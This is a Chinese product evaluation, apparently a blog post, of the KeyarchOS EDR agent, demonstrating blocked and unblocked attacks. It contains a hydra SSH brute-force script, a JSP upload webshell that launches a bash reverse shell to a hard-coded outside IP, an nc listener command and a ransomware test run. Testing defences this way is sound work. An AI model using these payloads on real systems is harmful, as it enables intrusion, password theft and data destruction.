浪潮信息KeyarchOS EDR 安全防护测评

背景

近几年服务器安全防护越来越受到企业的重视,企业在选购时不再仅仅看重成本,还更看重安全性,因为一旦数据泄露,被暴力破解,将对公司业务造成毁灭性打击。鉴于人们对服务器安全性的看重,本篇文章就来测评一下市场上一款非常畅销的服务器操作系统------浪潮信息服务器操作系统云峦KeyarchOS。

环境准备

在本次测评中,我们使用三台已经安装了KeyarchOS系统的机器(以下简称KOS主机),由于KOS的防护功能需要安装EDR安全工具(通过安装在KOS主机上的本地客户端(Agent)与管理中心联动,提供病毒木马、勒索软件、暴力破解等攻击的查杀防护功能,防御未知程序运行和关键业务文件篡改),我们的机器配置如下:

3台安装了KOS系统的服务器

|----|---------|--------------|
| 编号 | 设备名称 | 备注 |
| A | KOS主机 | 安装EDR agent |
| B | KOS主机 | 未安装EDR agent |
| C | EDR管理中心 | 未安装EDR agent |

另外在攻防演示时需要的病毒文件及程序也已经提前安装好了。下文会详细介绍。

下面进入第一个真实的业务场景。

基于暴力破解的横向渗透防护

在暴力破解中,攻击人员经常会使用一些工具来扫描,攻击我们的服务器了。使用这工具进行扫描漏洞,使用字典不断试出密码。

下面看一下KOS在防护hydra暴力破解工具方面的表现。

我们在B主机安装要使用 hydra工具,并编写用于攻击的脚本 hydra.sh

该脚本将会攻击我们的主机A(安装了EDR ) 和主机C(未安装EDR )。

其中hydra.sh代码如下:

bash 复制代码
#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

以上的命令是使用 hydra 工具进行 SSH 密码破解。下面是命令中各选项的详细解释:

hydra: 这是要使用的工具,hydra 是一个开源的、命令行下的多线程密码破解工具,可以用来破解各种服务的密码,包括 SSH、FTP、HTTP 等。

-l root: 这表示使用 "root" 作为用户名进行尝试。你可以替换 "root" 为任何你想要尝试的用户名。

-P pass_30.txt: 这表示使用 "pass_30.txt" 文件作为密码源。这个文件应该包含了你想要尝试的所有可能的密码。注意,这个文件需要在当前工作目录下,或者你需要提供完整的文件路径。

-t 4: 这表示使用 4 个线程进行破解。你可以根据需要增加或减少线程数。

-I ssh://[主机C IP] 这是你要破解的目标服务器的地址。在这个例子中,目标服务器是位于 IP 地址 [主机C IP] 的 SSH 服务。注意,在 IP 地址前需要加上 "ssh://"。

使用下面指令来运行该脚本 sh hydra.sh,以下为显示的日志

从日志中我们可以看到,主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR 。

反观未安装EDR 的主机C则被成功爆破,被破解了登录密码。

挖矿病毒防护

最近有一些人利用工具扫描服务器漏洞,利用扫描出的漏洞,上传文件,进行远程操作机器,我们熟知的挖矿病毒就是这样一类程序。

下面来演示一下,KOS在防范shell入侵的表现。

首先在主机A,主机B上准备好上传文件的程序。打开浏览器,访问 http://IP:8080/reverse/upload.html页面 这是一个上传文件的页面。如下图:

其中 upload.html内容如下:

html 复制代码
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

通过这个入口上传两个文件 reverse.jsp 和 shell.sh

两个文件的内容如下:

reverse.jsp内容:

html 复制代码
<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

shell.sh 内容

bash 复制代码
#!/bin/bash
bash -i >& /dev/tcp/43.140.202.127/8446 0>&1

在安装了EDR agent的机器A上,上传病毒文件,直接显示上传失败

下面看一下在未安装EDR agent的机器B上的表现。

在机器B上,能够直接上成功两个文件。

上成功后我们在测试靶机C使用nc -l -vv -p 8446命令监听8446端口

能够看到 主机B (未安装EDR)在测试靶机反弹成功,到了这一步,主机B已经执行了上传的shell.sh脚本。

勒索病毒防护

我们在机器A和机器B上分别执行勒索病毒脚本,该勒索病毒会加密我们的doc文件。

执行脚本install.sh

bash 复制代码
#!/bin/bash


./testransomware /opt/2csec/

我们使用加密病毒testransomware 来对某个文件夹下的doc文件进行加密。

在 主机B (未安装EDR) 执行结果

从日志上看,文件都以被加密完成。

查看/opt/2csec 文件夹。查看文件,发现文件扩展名都已被修改。

在 主机A (未安装EDR) 执行结果

会将进程杀死,并删除testransomware病毒

总结

以上就是针对浪潮信息KOS做的一些安防测评,模拟了最常见的暴力破解,漏洞上传,和勒索病毒的防控。

从大体上来讲在安装了EDR安全工具的KOS主机上,都能够准确无误地识别并拦截成功。

相关推荐
cdut_suye6 分钟前
Linux工具使用指南:从apt管理、gcc编译到makefile构建与gdb调试
java·linux·运维·服务器·c++·人工智能·python
qq_4336184410 分钟前
shell 编程(三)
linux·运维·服务器
鸭梨山大。15 分钟前
Jenkins 任意文件读取(CVE-2024-23897)修复及复现
安全·中间件·jenkins
丘狸尾44 分钟前
[cisco 模拟器] ftp服务器配置
android·运维·服务器
黑客老陈1 小时前
新手小白如何挖掘cnvd通用漏洞之存储xss漏洞(利用xss钓鱼)
运维·服务器·前端·网络·安全·web3·xss
大猫和小黄1 小时前
Windows、CentOS环境下搭建自己的版本管理资料库:GitBlit
linux·服务器·windows·git
Joyner20181 小时前
【Linux】ubuntu通过远程命令行启动桌面应用
linux·服务器·ubuntu
ghostwritten1 小时前
Linux Swap: 深入解析 mkswap, mkfs.swap, 和 swapon
linux·运维·服务器
我是唐青枫1 小时前
Linux xargs 命令使用教程
linux·运维·服务器
gallonyin1 小时前
【监控】夜莺监控系统各环节资源压力分析
运维·服务器